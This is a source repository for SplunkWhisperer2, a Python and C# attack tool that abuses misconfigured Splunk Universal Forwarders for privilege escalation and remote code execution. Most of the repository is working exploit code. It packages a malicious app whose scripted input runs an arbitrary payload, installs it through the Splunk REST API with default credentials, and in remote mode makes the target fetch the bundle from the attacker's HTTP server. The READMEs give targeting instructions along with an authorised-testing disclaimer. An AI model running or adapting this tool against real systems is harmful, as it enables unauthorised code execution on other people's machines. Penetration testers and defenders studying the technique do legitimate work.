├── LICENSE ├── PySplunkWhisperer2 ├── .gitignore ├── PySplunkWhisperer2_local.py ├── PySplunkWhisperer2_local_python3.py ├── PySplunkWhisperer2_remote.py ├── README.md ├── build_exe.bat ├── build_exe_python3.bat └── requirements.txt ├── README.md └── SharpSplunkWhisperer2 ├── .gitignore ├── FodyWeavers.xml ├── Program.cs ├── README.md ├── SharpSplunkWhisperer2.csproj ├── SharpSplunkWhisperer2.sln ├── app.config └── packages.config /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2020 Clément Notin 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /PySplunkWhisperer2/.gitignore: -------------------------------------------------------------------------------- 1 | /dist 2 | /build 3 | /.idea 4 | /venv 5 | /*.spec 6 | /.vscode 7 | -------------------------------------------------------------------------------- /PySplunkWhisperer2/PySplunkWhisperer2_local.py: -------------------------------------------------------------------------------- 1 | import sys, os, tempfile, shutil 2 | import tarfile 3 | import requests 4 | import argparse 5 | 6 | requests.packages.urllib3.disable_warnings(category=requests.packages.urllib3.exceptions.InsecureRequestWarning) 7 | 8 | SPLUNK_APP_NAME = '_PWN_APP_' 9 | 10 | 11 | def create_splunk_bundle(options): 12 | tmp_path = tempfile.mkdtemp() 13 | os.mkdir(os.path.join(tmp_path, SPLUNK_APP_NAME)) 14 | 15 | bin_dir = os.path.join(tmp_path, SPLUNK_APP_NAME, "bin") 16 | os.mkdir(bin_dir) 17 | pwn_file = os.path.join(bin_dir, options.payload_file) 18 | open(pwn_file, "w").write(options.payload) 19 | # make the script executable - not 100% certain this makes a difference 20 | os.chmod(pwn_file, 0o700) 21 | 22 | local_dir = os.path.join(tmp_path, SPLUNK_APP_NAME, "local") 23 | os.mkdir(local_dir) 24 | inputs_conf = os.path.join(local_dir, "inputs.conf") 25 | with open(inputs_conf, "w") as f: 26 | inputs = '[script://$SPLUNK_HOME/etc/apps/{}/bin/{}]\n'.format(SPLUNK_APP_NAME, options.payload_file) 27 | inputs += 'disabled = false\n' 28 | inputs += 'index = default\n' 29 | inputs += 'interval = 60.0\n' 30 | inputs += 'sourcetype = test\n' 31 | f.write(inputs) 32 | 33 | (fd, tmp_bundle) = tempfile.mkstemp(suffix='.tar') 34 | os.close(fd) 35 | with tarfile.TarFile(tmp_bundle, mode="w") as tf: 36 | tf.add(os.path.join(tmp_path, SPLUNK_APP_NAME), arcname=SPLUNK_APP_NAME) 37 | 38 | shutil.rmtree(tmp_path) 39 | return tmp_bundle 40 | 41 | 42 | 43 | parser = argparse.ArgumentParser() 44 | parser.add_argument('--scheme', default="https") 45 | parser.add_argument('--port', default=8089) 46 | parser.add_argument('--username', default="admin") 47 | parser.add_argument('--password', default="changeme") 48 | parser.add_argument('--payload', default="calc.exe") 49 | parser.add_argument('--payload-file', default="pwn.bat") 50 | options = parser.parse_args() 51 | 52 | print "Running in local mode (Local Privilege Escalation)" 53 | options.host = "127.0.0.1" 54 | 55 | SPLUNK_BASE_API = "{}://{}:{}/services/apps/local/".format(options.scheme, options.host, options.port, ) 56 | 57 | s = requests.Session() 58 | s.auth = requests.auth.HTTPBasicAuth(options.username, options.password) 59 | s.verify = False 60 | 61 | print "[.] Authenticating..." 62 | req = s.get(SPLUNK_BASE_API) 63 | if req.status_code == 401: 64 | print "Authentication failure" 65 | print "" 66 | print req.text 67 | sys.exit(-1) 68 | print "[+] Authenticated" 69 | 70 | print "[.] Creating malicious app bundle..." 71 | BUNDLE_FILE = create_splunk_bundle(options) 72 | print "[+] Created malicious app bundle in: " + BUNDLE_FILE 73 | 74 | lurl = BUNDLE_FILE 75 | 76 | print "[.] Installing app from: " + lurl 77 | req = s.post(SPLUNK_BASE_API, data={'name': lurl, 'filename': True, 'update': True}) 78 | if req.status_code != 200 and req.status_code != 201: 79 | print "Got a problem: " + str(req.status_code) 80 | print "" 81 | print req.text 82 | print "[+] App installed, your code should be running now!" 83 | 84 | print "\nPress RETURN to cleanup" 85 | raw_input() 86 | os.remove(BUNDLE_FILE) 87 | 88 | print "[.] Removing app..." 89 | req = s.delete(SPLUNK_BASE_API + SPLUNK_APP_NAME) 90 | if req.status_code != 200 and req.status_code != 201: 91 | print "Got a problem: " + str(req.status_code) 92 | print "" 93 | print req.text 94 | print "[+] App removed" 95 | 96 | print "\nPress RETURN to exit" 97 | raw_input() 98 | print "Bye!" 99 | -------------------------------------------------------------------------------- /PySplunkWhisperer2/PySplunkWhisperer2_local_python3.py: -------------------------------------------------------------------------------- 1 | import sys, os, tempfile, shutil 2 | import tarfile 3 | import requests 4 | import argparse 5 | 6 | requests.packages.urllib3.disable_warnings(category=requests.packages.urllib3.exceptions.InsecureRequestWarning) 7 | 8 | SPLUNK_APP_NAME = '_PWN_APP_' 9 | 10 | 11 | def create_splunk_bundle(options): 12 | tmp_path = tempfile.mkdtemp() 13 | os.mkdir(os.path.join(tmp_path, SPLUNK_APP_NAME)) 14 | 15 | bin_dir = os.path.join(tmp_path, SPLUNK_APP_NAME, "bin") 16 | os.mkdir(bin_dir) 17 | pwn_file = os.path.join(bin_dir, options.payload_file) 18 | open(pwn_file, "w").write(options.payload) 19 | # make the script executable - not 100% certain this makes a difference 20 | os.chmod(pwn_file, 0o700) 21 | 22 | local_dir = os.path.join(tmp_path, SPLUNK_APP_NAME, "local") 23 | os.mkdir(local_dir) 24 | inputs_conf = os.path.join(local_dir, "inputs.conf") 25 | with open(inputs_conf, "w") as f: 26 | inputs = '[script://$SPLUNK_HOME/etc/apps/{}/bin/{}]\n'.format(SPLUNK_APP_NAME, options.payload_file) 27 | inputs += 'disabled = false\n' 28 | inputs += 'index = default\n' 29 | inputs += 'interval = 60.0\n' 30 | inputs += 'sourcetype = test\n' 31 | f.write(inputs) 32 | 33 | (fd, tmp_bundle) = tempfile.mkstemp(suffix='.tar') 34 | os.close(fd) 35 | with tarfile.TarFile(tmp_bundle, mode="w") as tf: 36 | tf.add(os.path.join(tmp_path, SPLUNK_APP_NAME), arcname=SPLUNK_APP_NAME) 37 | 38 | shutil.rmtree(tmp_path) 39 | return tmp_bundle 40 | 41 | 42 | 43 | parser = argparse.ArgumentParser() 44 | parser.add_argument('--scheme', default="https") 45 | parser.add_argument('--port', default=8089) 46 | parser.add_argument('--username', default="admin") 47 | parser.add_argument('--password', default="changeme") 48 | parser.add_argument('--payload', default="calc.exe") 49 | parser.add_argument('--payload-file', default="pwn.bat") 50 | options = parser.parse_args() 51 | 52 | print("Running in local mode (Local Privilege Escalation)") 53 | options.host = "127.0.0.1" 54 | 55 | SPLUNK_BASE_API = "{}://{}:{}/services/apps/local/".format(options.scheme, options.host, options.port, ) 56 | 57 | s = requests.Session() 58 | s.auth = requests.auth.HTTPBasicAuth(options.username, options.password) 59 | s.verify = False 60 | 61 | print("[.] Authenticating...") 62 | req = s.get(SPLUNK_BASE_API) 63 | if req.status_code == 401: 64 | print("Authentication failure") 65 | print("") 66 | print(req.text) 67 | sys.exit(-1) 68 | print("[+] Authenticated") 69 | 70 | print("[.] Creating malicious app bundle...") 71 | BUNDLE_FILE = create_splunk_bundle(options) 72 | print("[+] Created malicious app bundle in: " + BUNDLE_FILE) 73 | 74 | lurl = BUNDLE_FILE 75 | 76 | print("[.] Installing app from: " + lurl) 77 | req = s.post(SPLUNK_BASE_API, data={'name': lurl, 'filename': True, 'update': True}) 78 | if req.status_code != 200 and req.status_code != 201: 79 | print("Got a problem: " + str(req.status_code)) 80 | print("") 81 | print(req.text) 82 | print("[+] App installed, your code should be running now!") 83 | 84 | print("\nPress RETURN to cleanup") 85 | input() 86 | os.remove(BUNDLE_FILE) 87 | 88 | print("[.] Removing app...") 89 | req = s.delete(SPLUNK_BASE_API + SPLUNK_APP_NAME) 90 | if req.status_code != 200 and req.status_code != 201: 91 | print("Got a problem: " + str(req.status_code)) 92 | print("") 93 | print(req.text) 94 | print("[+] App removed") 95 | 96 | print("\nPress RETURN to exit") 97 | input() 98 | print("Bye!") 99 | -------------------------------------------------------------------------------- /PySplunkWhisperer2/PySplunkWhisperer2_remote.py: -------------------------------------------------------------------------------- 1 | import sys, os, tempfile, shutil 2 | import tarfile 3 | import requests 4 | import socketserver 5 | from http.server import SimpleHTTPRequestHandler 6 | import argparse 7 | import threading 8 | 9 | requests.packages.urllib3.disable_warnings(category=requests.packages.urllib3.exceptions.InsecureRequestWarning) 10 | 11 | SPLUNK_APP_NAME = '_PWN_APP_' 12 | 13 | 14 | def create_splunk_bundle(options): 15 | tmp_path = tempfile.mkdtemp() 16 | os.mkdir(os.path.join(tmp_path, SPLUNK_APP_NAME)) 17 | 18 | bin_dir = os.path.join(tmp_path, SPLUNK_APP_NAME, "bin") 19 | os.mkdir(bin_dir) 20 | pwn_file = os.path.join(bin_dir, options.payload_file) 21 | open(pwn_file, "w").write(options.payload) 22 | # make the script executable - not 100% certain this makes a difference 23 | os.chmod(pwn_file, 0o700) 24 | 25 | local_dir = os.path.join(tmp_path, SPLUNK_APP_NAME, "local") 26 | os.mkdir(local_dir) 27 | inputs_conf = os.path.join(local_dir, "inputs.conf") 28 | with open(inputs_conf, "w") as f: 29 | inputs = '[script://$SPLUNK_HOME/etc/apps/{}/bin/{}]\n'.format(SPLUNK_APP_NAME, options.payload_file) 30 | inputs += 'disabled = false\n' 31 | inputs += 'index = default\n' 32 | inputs += 'interval = 60.0\n' 33 | inputs += 'sourcetype = test\n' 34 | f.write(inputs) 35 | 36 | (fd, tmp_bundle) = tempfile.mkstemp(suffix='.tar') 37 | os.close(fd) 38 | with tarfile.TarFile(tmp_bundle, mode="w") as tf: 39 | tf.add(os.path.join(tmp_path, SPLUNK_APP_NAME), arcname=SPLUNK_APP_NAME) 40 | 41 | shutil.rmtree(tmp_path) 42 | return tmp_bundle 43 | 44 | 45 | class CustomHandler(SimpleHTTPRequestHandler): 46 | def do_GET(self): 47 | global BUNDLE_FILE 48 | bundle = open(BUNDLE_FILE, 'rb').read() 49 | 50 | self.send_response(200) 51 | self.send_header('Expires', 'Thu, 26 Oct 1978 00:00:00 GMT') 52 | self.send_header('Cache-Control', 'no-store, no-cache, must-revalidate, max-age=0') 53 | self.send_header('Content-type', 'application/tar') 54 | self.send_header('Content-Disposition', 'attachment; filename="splunk_bundle.tar"') 55 | self.send_header('Content-Length', len(bundle)) 56 | self.end_headers() 57 | 58 | self.wfile.write(bundle) 59 | 60 | 61 | class ThreadedHTTPServer(object): 62 | """Runs SimpleHTTPServer in a thread 63 | Lets you start and stop an instance of SimpleHTTPServer. 64 | """ 65 | 66 | def __init__(self, host, port, request_handler=SimpleHTTPRequestHandler): 67 | """Prepare thread and socket server 68 | Creates the socket server that will use the HTTP request handler. Also 69 | prepares the thread to run the serve_forever method of the socket 70 | server as a daemon once it is started 71 | """ 72 | socketserver.TCPServer.allow_reuse_address = True 73 | self.server = socketserver.TCPServer((host, int(port)), request_handler) 74 | self.server_thread = threading.Thread(target=self.server.serve_forever) 75 | self.server_thread.daemon = True 76 | self.server_thread.start() 77 | 78 | def stop(self): 79 | """Stop the HTTP server 80 | Stops the server and cleans up the port assigned to the socket 81 | """ 82 | self.server.shutdown() 83 | self.server.server_close() 84 | 85 | 86 | parser = argparse.ArgumentParser() 87 | parser.add_argument('--scheme', default="https") 88 | parser.add_argument('--host', required=True) 89 | parser.add_argument('--port', default=8089) 90 | parser.add_argument('--lhost', required=True) 91 | parser.add_argument('--lport', default=8181) 92 | parser.add_argument('--username', default="admin") 93 | parser.add_argument('--password', default="changeme") 94 | parser.add_argument('--payload', default="calc.exe") 95 | parser.add_argument('--payload-file', default="pwn.bat") 96 | options = parser.parse_args() 97 | 98 | print("Running in remote mode (Remote Code Execution)") 99 | 100 | SPLUNK_BASE_API = "{}://{}:{}/services/apps/local/".format(options.scheme, options.host, options.port, ) 101 | 102 | s = requests.Session() 103 | s.auth = requests.auth.HTTPBasicAuth(options.username, options.password) 104 | s.verify = False 105 | 106 | print("[.] Authenticating...") 107 | req = s.get(SPLUNK_BASE_API) 108 | if req.status_code == 401: 109 | print("Authentication failure") 110 | print("") 111 | print(req.text) 112 | sys.exit(-1) 113 | print("[+] Authenticated") 114 | 115 | print("[.] Creating malicious app bundle...") 116 | BUNDLE_FILE = create_splunk_bundle(options) 117 | print("[+] Created malicious app bundle in: " + BUNDLE_FILE) 118 | 119 | httpd = ThreadedHTTPServer(options.lhost, options.lport, request_handler=CustomHandler) 120 | print("[+] Started HTTP server for remote mode") 121 | 122 | lurl = "http://{}:{}/".format(options.lhost, options.lport) 123 | 124 | print("[.] Installing app from: " + lurl) 125 | req = s.post(SPLUNK_BASE_API, data={'name': lurl, 'filename': True, 'update': True}) 126 | if req.status_code != 200 and req.status_code != 201: 127 | print("Got a problem: " + str(req.status_code)) 128 | print("") 129 | print(req.text) 130 | print("[+] App installed, your code should be running now!") 131 | 132 | print("\nPress RETURN to cleanup") 133 | input() 134 | os.remove(BUNDLE_FILE) 135 | 136 | print("[.] Removing app...") 137 | req = s.delete(SPLUNK_BASE_API + SPLUNK_APP_NAME) 138 | if req.status_code != 200 and req.status_code != 201: 139 | print("Got a problem: " + str(req.status_code)) 140 | print("") 141 | print(req.text) 142 | print("[+] App removed") 143 | 144 | httpd.stop() 145 | print("[+] Stopped HTTP server") 146 | 147 | print("Bye!") 148 | -------------------------------------------------------------------------------- /PySplunkWhisperer2/README.md: -------------------------------------------------------------------------------- 1 | # Splunk Whisperer 2 (Python) 2 | ## Usage 3 | I created two files to reduce dependencies (no HTTP server) when building the LPE executable file. 4 | 5 | * Local Privilege Escalation (LPE): you have a shell on the computer, then use `PySplunkWhisperer2_local.py`. The following arguments exist but are optional: 6 | * `--scheme`, default="https" 7 | * `--port`, default=8089 8 | * `--username`, default="admin" 9 | * `--password`, default="changeme" 10 | * `--payload`, default="calc.exe", you must adapt for Linux targets 11 | * `--payload-file`, default="pwn.bat", you must adapt for Linux targets 12 | The app bundle is created locally (temp file) and Splunk installs it from there. 13 | 14 | 15 | * Remote Code Execution (RCE): the Universal Forwarder is exposed, then use `PySplunkWhisperer2_remote.py`. The following arguments exist. They are all optional, except `--host` and `--lhost`: 16 | * `--scheme`, default="https" 17 | * `--host`, **required=True**, this is your target 18 | * `--port`, default=8089 19 | * `--lhost`, **required=True**, this is your own IP 20 | * `--lport`, default=8181 21 | * `--username`, default="admin" 22 | * `--password`, default="changeme" (**note**: this default password does not work remotely by default) 23 | * `--payload`, default="calc.exe", you must adapt for Linux targets 24 | * `--payload-file`, default="pwn.bat", you must adapt for Linux targets 25 | The app bundle is created on your computer (temp file) and Splunk fetches it through HTTP (hence the need for `--lhost`). 26 | 27 | ## Supported platforms 28 | The current code targets Universal Forwarders running on Windows by default. If you want to target Linux, change the payload with `--payload` and the payload filename with `--payload-file`. 29 | 30 | * You can build an executable file for `PySplunkWhisperer2_local.py` with PyInstaller, see `build_exe.bat`, so you can run it on any Windows computer without having Python installed. 31 | * `PySplunkWhisperer2_remote.py` runs on Windows and Linux 32 | 33 | ### Credits 34 | This tool is inspired by [the original Splunk Whisperer](https://github.com/airman604/splunk_whisperer) by @airman604. 35 | 36 | The main advantage of this version is that the Deployment Server used by the Universal Forwarder is not changed. It only installs a new application (then removes it) so it is less intrusive and the code is simpler. 37 | 38 | ### Disclaimer 39 | Resources provided here are shared to demonstrate risk. These can be used only against systems you own or are authorized to test, these must not be used for illegal purposes. 40 | The author cannot be held responsible for any misuse or damage from any material provided here. 41 | -------------------------------------------------------------------------------- /PySplunkWhisperer2/build_exe.bat: -------------------------------------------------------------------------------- 1 | pyinstaller.exe PySplunkWhisperer2_local.py --onefile --name PySplunkWhisperer2 2 | @echo. 3 | @echo. 4 | @echo Finished! EXE available in "dist" folder 5 | @pause -------------------------------------------------------------------------------- /PySplunkWhisperer2/build_exe_python3.bat: -------------------------------------------------------------------------------- 1 | pyinstaller.exe PySplunkWhisperer2_local_python3.py --onefile --name PySplunkWhisperer2 2 | @echo. 3 | @echo. 4 | @echo Finished! EXE available in "dist" folder 5 | @pause -------------------------------------------------------------------------------- /PySplunkWhisperer2/requirements.txt: -------------------------------------------------------------------------------- 1 | requests 2 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # SplunkWhisperer2 2 | ## Description 3 | Local privilege escalation, or remote code execution, through Splunk Universal Forwarder (UF) misconfigurations. 4 | See https://clement.notin.org/blog/2019/02/25/Splunk-Universal-Forwarder-Hijacking-2-SplunkWhisperer2/ for more details. 5 | 6 | ## Which one to use? 7 | * You have a local shell on a Windows computer running Splunk UF? 8 | * If .NET 4.5, or later, is available (or you don't know), use `SharpSplunkWhisperer2` 9 | * Otherwise, use `PySplunkWhisperer2_local` 10 | * You can contact remotely the Splunk UF API (HTTPS port 8089 by default) and you have the credentials (**note**: the default credentials are *admin/changeme* but they do not work remotely by default)? 11 | * Use `PySplunkWhisperer2_remote` 12 | 13 | `PySplunkWhisperer2` works fine on Linux targets too (adapt the payload file name and content accordingly). 14 | 15 | Note also that `SharpSplunkWhisperer2` relies on the [Splunk SDK for C#](http://dev.splunk.com/csharp) library, whereas `PySplunkWhisperer2` directly calls the [Splunk REST API](http://dev.splunk.com/restapi). 16 | 17 | ### Credits 18 | These tools are inspired by [the original Splunk Whisperer](https://github.com/airman604/splunk_whisperer) by @airman604. 19 | 20 | The main advantage of these versions is that the Deployment Server used by the UF is not changed. It only installs a new application (then removes it) so it is less intrusive and the code is simpler. 21 | 22 | ### Disclaimer 23 | Resources provided here are shared to demonstrate risk. These can be used only against systems you own or are authorized to test, these must not be used for illegal purposes. 24 | The author cannot be held responsible for any misuse or damage from any material provided here. 25 | -------------------------------------------------------------------------------- /SharpSplunkWhisperer2/.gitignore: -------------------------------------------------------------------------------- 1 | /.vs/ 2 | /bin 3 | /obj 4 | /packages/ 5 | /*.user 6 | -------------------------------------------------------------------------------- /SharpSplunkWhisperer2/FodyWeavers.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /SharpSplunkWhisperer2/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO; 3 | using System.Collections.Generic; 4 | using System.Linq; 5 | using System.Net; 6 | using System.Text; 7 | using System.Threading.Tasks; 8 | using Splunk.Client; 9 | using ICSharpCode.SharpZipLib.Tar; 10 | using CommandLine; 11 | 12 | namespace SharpSplunkWhisperer2 13 | { 14 | class SharpSplunkWhisperer2 15 | { 16 | static readonly string SPLUNK_APP_NAME = "_PWN_APP_"; 17 | 18 | static void Main(string[] args) 19 | { 20 | if (args == null) 21 | throw new ArgumentNullException(nameof(args)); 22 | 23 | Options options = new Options(); 24 | var result = Parser.Default.ParseArguments(args) 25 | .WithParsed(o => 26 | { 27 | Run(o).Wait(); // required since Splunk library is async 28 | }); 29 | 30 | Console.Write("Press RETURN to exit..."); 31 | Console.ReadLine(); 32 | } 33 | 34 | public async static Task Run(Options options) 35 | { 36 | // most recent Splunk Universal Forwarder only accepts TLS 1.2 by default 37 | ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12 | SecurityProtocolType.Tls11 | SecurityProtocolType.Tls; 38 | // Splunk UF default certificate is self-signed and therefore invalid, we choose to ignore it 39 | ServicePointManager.ServerCertificateValidationCallback += (sender, certificate, chain, sslPolicyErrors) => 40 | { 41 | return true; 42 | }; 43 | 44 | Uri uri = new Uri(options.Scheme + "://localhost:" + options.Port); 45 | Console.WriteLine("[.] Connecting to target: " + uri + " with credentials : " + options.UserName + " / " + options.Password); 46 | 47 | var service = new Service(uri); 48 | try 49 | { 50 | await service.LogOnAsync(options.UserName, options.Password); 51 | } 52 | catch (AuthenticationFailureException ex) 53 | { 54 | Console.WriteLine("[-] Authentication failure!"); 55 | Console.WriteLine(ex.Message); 56 | return; 57 | } 58 | 59 | Console.WriteLine("[+] Connected"); 60 | 61 | Console.WriteLine("[.] Creating malicious app archive..."); 62 | 63 | DirectoryInfo tempDirectory = Directory.CreateDirectory(Path.Combine(Path.GetTempPath(), Path.GetRandomFileName())); 64 | 65 | DirectoryInfo rootApp = tempDirectory.CreateSubdirectory(SPLUNK_APP_NAME); 66 | 67 | DirectoryInfo bin = rootApp.CreateSubdirectory("bin"); 68 | File.WriteAllText(Path.Combine(bin.FullName, "pwn.bat"), options.Payload); 69 | 70 | DirectoryInfo local = rootApp.CreateSubdirectory("local"); 71 | File.WriteAllText(Path.Combine(local.FullName, "inputs.conf"), @"[script://$SPLUNK_HOME/etc/apps/" + SPLUNK_APP_NAME + @"/bin/pwn.bat] 72 | disabled = false 73 | index = default 74 | interval = 60.0 75 | sourcetype = test 76 | "); 77 | 78 | string appFile = tempDirectory.FullName + ".tar"; 79 | 80 | Stream outStream = File.Create(appFile); 81 | TarArchive tarArchive = TarArchive.CreateOutputTarArchive(outStream); 82 | // from https://github.com/icsharpcode/SharpZipLib/wiki/GZip-and-Tar-Samples 83 | tarArchive.RootPath = tempDirectory.FullName.Replace('\\', '/').TrimEnd('/'); 84 | AddDirectoryFilesToTar(tarArchive, tempDirectory.FullName); 85 | tarArchive.Close(); 86 | 87 | tempDirectory.Delete(true); 88 | Console.WriteLine("[+] Malicious app archive ready"); 89 | 90 | Console.WriteLine("[.] Installing app..."); 91 | Application app = null; 92 | try 93 | { 94 | app = await service.Applications.InstallAsync(appFile); 95 | Console.WriteLine("[+] App installed! Your code should be running now."); 96 | } 97 | catch (RequestException ex) 98 | { 99 | // can happen if the application is already installed 100 | Console.WriteLine("[-] Exception caught: "); 101 | Console.WriteLine(ex.Message); 102 | } 103 | finally 104 | { 105 | Console.Write("Press RETURN to cleanup..."); 106 | Console.ReadLine(); 107 | Console.WriteLine(); 108 | 109 | File.Delete(appFile); 110 | Console.WriteLine("[+] Deleted " + appFile); 111 | 112 | if (app == null) 113 | { 114 | // there was an error when installing the app so let's find it to be able to remove it 115 | Application app2 = await service.Applications.GetOrNullAsync(SPLUNK_APP_NAME); 116 | if (app2 != null) 117 | { 118 | Console.WriteLine("[.] Removing app..."); 119 | await app2.RemoveAsync(); 120 | Console.WriteLine("[+] App removed"); 121 | } 122 | } 123 | else 124 | { 125 | Console.WriteLine("[.] Removing app..."); 126 | await app.RemoveAsync(); 127 | Console.WriteLine("[+] App removed"); 128 | } 129 | } 130 | } 131 | 132 | // from https://github.com/icsharpcode/SharpZipLib/wiki/GZip-and-Tar-Samples 133 | private static void AddDirectoryFilesToTar(TarArchive tarArchive, string sourceDirectory) 134 | { 135 | // Write each file to the tar. 136 | string[] filenames = Directory.GetFiles(sourceDirectory); 137 | foreach (string filename in filenames) 138 | { 139 | TarEntry tarEntry = TarEntry.CreateEntryFromFile(filename); 140 | tarArchive.WriteEntry(tarEntry, true); 141 | } 142 | 143 | string[] directories = Directory.GetDirectories(sourceDirectory); 144 | foreach (string directory in directories) 145 | AddDirectoryFilesToTar(tarArchive, directory); 146 | } 147 | } 148 | 149 | 150 | public class Options 151 | { 152 | [Option(Default = "admin")] 153 | public string UserName { get; set; } 154 | 155 | [Option(Default = "changeme")] 156 | public string Password { get; set; } 157 | 158 | [Option(Default = 8089)] 159 | public int Port { get; set; } 160 | 161 | [Option(Default = "https")] 162 | public string Scheme { get; set; } 163 | 164 | [Option(Default = "calc.exe")] 165 | public string Payload { get; set; } 166 | } 167 | } 168 | -------------------------------------------------------------------------------- /SharpSplunkWhisperer2/README.md: -------------------------------------------------------------------------------- 1 | # Splunk Whisperer 2 (C#) 2 | ## Prerequisites 3 | This tool requires at least .NET 4.5 (which isn't available by default on Windows 7 / 2008). If this condition is not met, see `PySplunkWhisperer2` in the same repository. 4 | 5 | ## Build instructions 6 | I do not publish binaries on purpose. You have to build it yourself, for example with Visual Studio 2017 Community. The required packages are fetched by NuGet. 7 | 8 | ## Usage 9 | `SharpSplunkWhisperer2` only implements Local Privilege Escalation (LPE) mode for Windows targets. For Remote Code Execution (RCE), and Linux targets, see `PySplunkWhisperer2` in the same repository. 10 | 11 | The following arguments exist but are optional: 12 | * `--UserName`, default="admin" 13 | * `--Password`, default="changeme" 14 | * `--Port`, default=8089 15 | * `--Scheme`, default="https" 16 | * `--Payload`, default="calc.exe" 17 | 18 | The app bundle is created locally (temp file) and Splunk installs it from there. 19 | 20 | ## Supported platforms 21 | `SharpSplunkWhisperer2` is designed to be run locally on Windows computers. 22 | 23 | ### Credits 24 | This tool is inspired by [the original Splunk Whisperer](https://github.com/airman604/splunk_whisperer) by @airman604. 25 | 26 | The main advantage of this version is that the Deployment Server used by the Universal Forwarder is not changed. It only installs a new application (then removes it) so it is less intrusive and the code is simpler. 27 | 28 | ### Disclaimer 29 | Resources provided here are shared to demonstrate risk. These can be used only against systems you own or are authorized to test, these must not be used for illegal purposes. 30 | The author cannot be held responsible for any misuse or damage from any material provided here. 31 | -------------------------------------------------------------------------------- /SharpSplunkWhisperer2/SharpSplunkWhisperer2.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {ADC720B5-C118-45C0-9141-6203D87D0667} 8 | Exe 9 | SharpSplunkWhisperer2 10 | SharpSplunkWhisperer2 11 | v4.5 12 | 512 13 | true 14 | 15 | 16 | 17 | 18 | 19 | AnyCPU 20 | true 21 | full 22 | false 23 | bin\Debug\ 24 | DEBUG;TRACE 25 | prompt 26 | 4 27 | false 28 | 29 | 30 | AnyCPU 31 | pdbonly 32 | true 33 | bin\Release\ 34 | TRACE 35 | prompt 36 | 4 37 | false 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | packages\CommandLineParser.2.3.0\lib\net45\CommandLine.dll 52 | 53 | 54 | packages\SharpZipLib.1.0.0\lib\net45\ICSharpCode.SharpZipLib.dll 55 | 56 | 57 | packages\Splunk.Client.2.2.8\lib\portable-net45+win8+wp80+MonoTouch10+MonoAndroid10+xamarinmac20+xamarinios10\Splunk.Client.dll 58 | 59 | 60 | 61 | packages\System.Collections.Immutable.1.5.0\lib\portable-net45+win8+wp8+wpa81\System.Collections.Immutable.dll 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | Ce projet fait référence à des packages NuGet qui sont manquants sur cet ordinateur. Utilisez l'option de restauration des packages NuGet pour les télécharger. Pour plus d'informations, consultez http://go.microsoft.com/fwlink/?LinkID=322105. Le fichier manquant est : {0}. 71 | 72 | 73 | 74 | 75 | 76 | -------------------------------------------------------------------------------- /SharpSplunkWhisperer2/SharpSplunkWhisperer2.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 15 4 | VisualStudioVersion = 15.0.28010.2019 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SharpSplunkWhisperer2", "SharpSplunkWhisperer2.csproj", "{ADC720B5-C118-45C0-9141-6203D87D0667}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {ADC720B5-C118-45C0-9141-6203D87D0667}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {ADC720B5-C118-45C0-9141-6203D87D0667}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {ADC720B5-C118-45C0-9141-6203D87D0667}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {ADC720B5-C118-45C0-9141-6203D87D0667}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | GlobalSection(ExtensibilityGlobals) = postSolution 23 | SolutionGuid = {B48CBB24-5256-4CD8-8B15-2780C621212D} 24 | EndGlobalSection 25 | EndGlobal 26 | -------------------------------------------------------------------------------- /SharpSplunkWhisperer2/app.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | -------------------------------------------------------------------------------- /SharpSplunkWhisperer2/packages.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | --------------------------------------------------------------------------------